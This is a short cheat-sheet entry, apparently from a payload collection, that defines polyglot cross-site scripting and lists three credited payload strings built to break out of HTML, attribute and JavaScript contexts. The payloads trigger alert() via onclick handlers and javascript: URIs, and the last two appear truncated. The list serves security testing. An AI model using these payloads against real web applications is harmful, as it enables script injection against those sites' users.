# Polyglot XSS
A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application’s inability to properly sanitize input in different parsing scenarios.
* Polyglot XSS - 0xsobky
```javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e
```
* Polyglot XSS - Ashar Javed
```javascript
">>" >|\>@gmail.com'-->" >">'">
```
* Polyglot XSS - Mathias Karlsson
```javascript
" onclick=alert(1)//|\>@gmail.com'-->">">'">
javascript://'/-->